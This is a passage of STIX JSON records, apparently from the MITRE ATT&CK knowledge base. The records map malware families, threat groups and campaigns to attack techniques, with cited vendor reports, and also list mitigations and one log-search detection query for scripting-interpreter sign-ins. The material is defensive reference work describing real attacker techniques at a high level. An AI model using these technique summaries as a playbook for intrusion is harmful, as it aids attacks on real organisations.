GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f6c0951-1a78-4738-81ec-a11325a15352","type":"relationship","created":"2020-03-20T00:08:19.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.312Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can also perform pass-the-ticket.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f6eef25-7a90-4f74-a788-8022166952f8","created":"2019-03-25T19:31:02.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Emotet Jan 2019","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html"},{"source_name":"Picus Emotet Dec 2018","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html"},{"source_name":"ESET Emotet Dec 2018","description":"Perez, D.. (2018, December 28). Analysis of the latest Emotet propagation campaign. Retrieved April 16, 2019.","url":"https://www.welivesecurity.com/2018/12/28/analysis-latest-emotet-propagation-campaign/"},{"source_name":"Trend Micro Emotet Jan 2019","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:42:46.984Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has obfuscated macros within malicious documents to hide the URLs hosting the malware, CMD.exe arguments, and PowerShell scripts. (Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: ESET Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f751d66-0604-4d30-a820-022a8c90e870","type":"relationship","created":"2020-07-27T15:48:13.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-31T13:05:30.850Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has created new services and modified existing services for persistence.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f81120a-adde-47cc-95bc-cd8201eb0a11","type":"relationship","created":"2019-01-30T17:33:40.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"},{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."}],"modified":"2020-05-18T17:43:37.053Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to obtain a list of running processes on the system.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f823a97-8924-496c-80f4-cf256ef640da","type":"relationship","created":"2021-06-23T20:00:27.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberArk Labs Safe Mode 2016","url":"https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise","description":"Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."}],"modified":"2021-08-31T14:51:49.478Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles, that may be abused to remotely boot a machine in safe mode.(Citation: CyberArk Labs Safe Mode 2016)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f87d677-5143-4e3f-a2d8-2c90c5cc15bc","created":"2022-04-18T12:37:32.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AADInternals - BPRT","description":"Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.","url":"https://o365blog.com/post/bprt/"},{"source_name":"Microsoft Manage Device Identities","description":"Microsoft. (2022, February 18). Manage device identities by using the Azure portal. Retrieved April 13, 2022.","url":"https://docs.microsoft.com/en-us/azure/active-directory/devices/device-management-azure-portal"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:57:12.965Z","description":"\nEntra ID creates several log entries when new devices are enrolled, which can be monitored for unexpected device registrations.(Citation: AADInternals - BPRT) Additionally, joined devices can be viewed via the Entra ID portal.(Citation: Microsoft Manage Device Identities)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f918c84-29ac-4769-ba94-6b46c8ccb950","type":"relationship","created":"2021-09-08T14:04:10.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T14:04:10.389Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can identify the geographical location of a victim host.(Citation: Kaspersky Transparent Tribe August 2020)\t ","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f93da44-6aa1-4f59-95c7-89c849423da9","type":"relationship","created":"2021-06-17T18:49:50.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:06:24.496Z","description":"Regularly check installed IIS components to verify the integrity of the web server and identify if unexpected changes have been made.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f940bca-0593-4d1d-865d-89f29df73ea8","created":"2024-08-13T20:25:08.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:15:33.084Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used Windows batch files for persistence and execution.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f99cba5-2fb2-4750-aca4-3d4a0a872685","type":"relationship","created":"2019-05-02T14:41:03.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2019-10-08T13:40:44.270Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) uses mshta.exe to run malicious scripts on the system.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fa5e228-f42c-477e-98ff-5223450c6863","created":"2024-08-19T17:29:39.494Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:29:39.494Z","description":"Monitor Azure AD (Entra ID) Sign In logs for suspicious Applications authenticating to the Graph API or other sensitive Resources using User Agents attributed to scripting interpreters such as python or Powershell.\n\nAnalytic 1 - Suspicious applications, unusual user agents (e.g., python, PowerShell), anomalous IP addresses, and unmanaged devices\n\n index=\"azure_ad_signin_logs\" Operation=\"UserLogin\"\n| search UserAgent=\"*python*\" OR UserAgent=\"*PowerShell*\"\n| stats count by ClientIP, UserId, DeviceProperties\n| where ClientIP!=\"expected_ip\" OR DeviceProperties!=\"expected_properties\"","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fa87ff9-ee4a-4660-8cd8-b2b3da820b1f","type":"relationship","created":"2020-01-24T17:42:23.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://rkhunter.sourceforge.net","description":"Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.","source_name":"SourceForge rkhunter"},{"url":"http://www.chkrootkit.org/","description":"Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.","source_name":"Chkrootkit Main"}],"modified":"2022-03-31T21:19:27.823Z","description":"Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fad01af-77b7-44b2-a3fc-0a7b338b9ace","type":"relationship","created":"2019-11-27T14:58:00.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-30T14:26:44.902Z","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fb463af-4ad8-48b5-89cf-68bac34a68d7","type":"relationship","created":"2021-02-22T14:31:59.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bleeping Computer - Ryuk WoL","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."}],"modified":"2021-02-22T14:47:28.044Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used Wake-on-Lan to power on turned off systems for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fb48ae2-125f-48f8-a813-8e64cf70bde3","type":"relationship","created":"2021-06-24T18:58:53.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T18:58:53.556Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has the ability to upload files from a compromised host.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fb5ad4c-1929-4d00-bd87-fed2558d73bf","type":"relationship","created":"2019-03-28T14:45:51.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}],"modified":"2019-06-24T19:15:06.921Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has used macros in Excel documents to download and deploy the malware on the user’s machine.(Citation: TrendMicro Trickbot Feb 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fbc10b3-f72e-4cc8-9e94-34c6404c3a1f","type":"relationship","created":"2019-01-30T17:48:35.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:04.978Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can modify the Registry.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fc2e926-e5a9-4c56-8d7c-cdef9dd7f7ab","type":"relationship","created":"2021-09-29T15:41:18.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro New Andariel Tactics July 2018","url":"https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html","description":"Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021."}],"modified":"2021-09-29T15:41:18.413Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.(Citation: TrendMicro New Andariel Tactics July 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fc89cc1-ef57-461c-9324-0ebe43999c07","type":"relationship","created":"2020-06-29T22:47:34.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-29T22:47:34.564Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fce9cf9-2795-4384-abb5-cb049b3d4329","type":"relationship","created":"2021-03-12T18:46:47.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T22:28:08.291Z","description":"[Sibot](https://attack.mitre.org/software/S0589) will delete itself if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fd03410-47ca-4ddc-9202-8f4a7558b263","type":"relationship","created":"2020-09-23T16:08:44.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.570Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can use Twitter, Reddit, Imgur and other websites to get a C2 URL.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fd468a1-e0ef-4371-b7fd-93f81900f069","type":"relationship","created":"2020-11-25T22:46:47.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"UK NCSC Olympic Attacks October 2020","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."}],"modified":"2020-11-30T19:59:13.956Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fd8bbd8-1d8d-426d-b079-c7cc2ebd4b35","type":"relationship","created":"2022-03-21T22:57:40.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:57:40.635Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can collect data from a compromised host.(Citation: Objective See Green Lambert for OSX Oct 2021)","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9fde631f-9e22-40fe-b6bb-071bd689c8f9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.491Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can record sound using input audio devices.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fde7504-bd24-46f5-88d7-4afcb8d37f4a","created":"2023-03-24T21:23:08.681Z","revoked":false,"external_references":[{"source_name":"Cybereason Chaes Nov 2020","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:23:08.681Z","description":"[Chaes](https://attack.mitre.org/software/S0631) can modify Registry values to stored information and establish persistence.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9fdf1013-db2c-4aba-a723-e21ff9c18bee","created":"2024-03-11T20:24:53.700Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:24:53.700Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors saved collected data to a tar archive.(Citation: Mandiant Cutting Edge Part 2 January 